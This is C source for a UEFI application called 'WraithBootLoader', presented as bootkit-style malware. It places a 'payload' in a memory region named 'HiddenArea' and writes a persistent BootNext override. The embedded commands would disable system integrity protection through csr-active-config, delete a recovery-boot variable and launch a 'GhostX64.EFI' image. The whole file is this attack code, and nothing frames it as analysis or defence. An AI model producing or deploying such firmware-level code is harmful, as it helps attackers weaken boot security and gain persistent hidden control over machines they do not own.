WraithBootLoader.efi

#include <Uefi.h>
#include <Library/UefiLib.h>
#include <Library/UefiBootServicesTableLib.h>
#include <Library/MemoryAllocationLib.h>
#include <Library/BaseMemoryLib.h>
#include <Library/UefiRuntimeServicesTableLib.h>
#include <Library/PrintLib.h>
#include <Library/UefiApplicationEntryPoint.h>

#define PAYLOAD_SIZE 0x1000

EFI_STATUS
EFIAPI
UefiMain(IN EFI_HANDLE ImageHandle, IN EFI_SYSTEM_TABLE *SystemTable) {
    VOID *HiddenArea;
    CHAR8 *PayloadData = "[WRAITHBOOT_PAYLOAD]\n"
                         "1|setvar csr-active-config=0x67\n"
                         "2|deletevar recovery-boot-mode\n"
                         "3|launch \\EFI\\Custom\\GhostX64.EFI\n";
    UINTN DataSize = AsciiStrLen(PayloadData) + 1;

    EFI_STATUS Status = gBS->AllocatePool(EfiRuntimeServicesData, PAYLOAD_SIZE, &HiddenArea);
    if (EFI_ERROR(Status)) {
        Print(L"Failed to allocate memory: %r\n", Status);
        return Status;
    }

    SetMem(HiddenArea, PAYLOAD_SIZE, 0);
    CopyMem(HiddenArea, PayloadData, DataSize);

    Print(L"WraithBoot memory payload mapped at %p\n", HiddenArea);

    // Optional: Detect trigger to execute further logic
    EFI_GUID gEfiGlobalVariableGuid = EFI_GLOBAL_VARIABLE;
    UINT16 BootOrder = 0x0001;
    Status = gRT->SetVariable(L"BootNext",
                              &gEfiGlobalVariableGuid,
                              EFI_VARIABLE_NON_VOLATILE | EFI_VARIABLE_BOOTSERVICE_ACCESS | EFI_VARIABLE_RUNTIME_ACCESS,
                              sizeof(BootOrder),
                              &BootOrder);
    if (EFI_ERROR(Status)) {
        Print(L"Failed to set BootNext: %r\n", Status);
    } else {
        Print(L"BootNext override to 0x%04x set.\n", BootOrder);
    }

    return EFI_SUCCESS;
}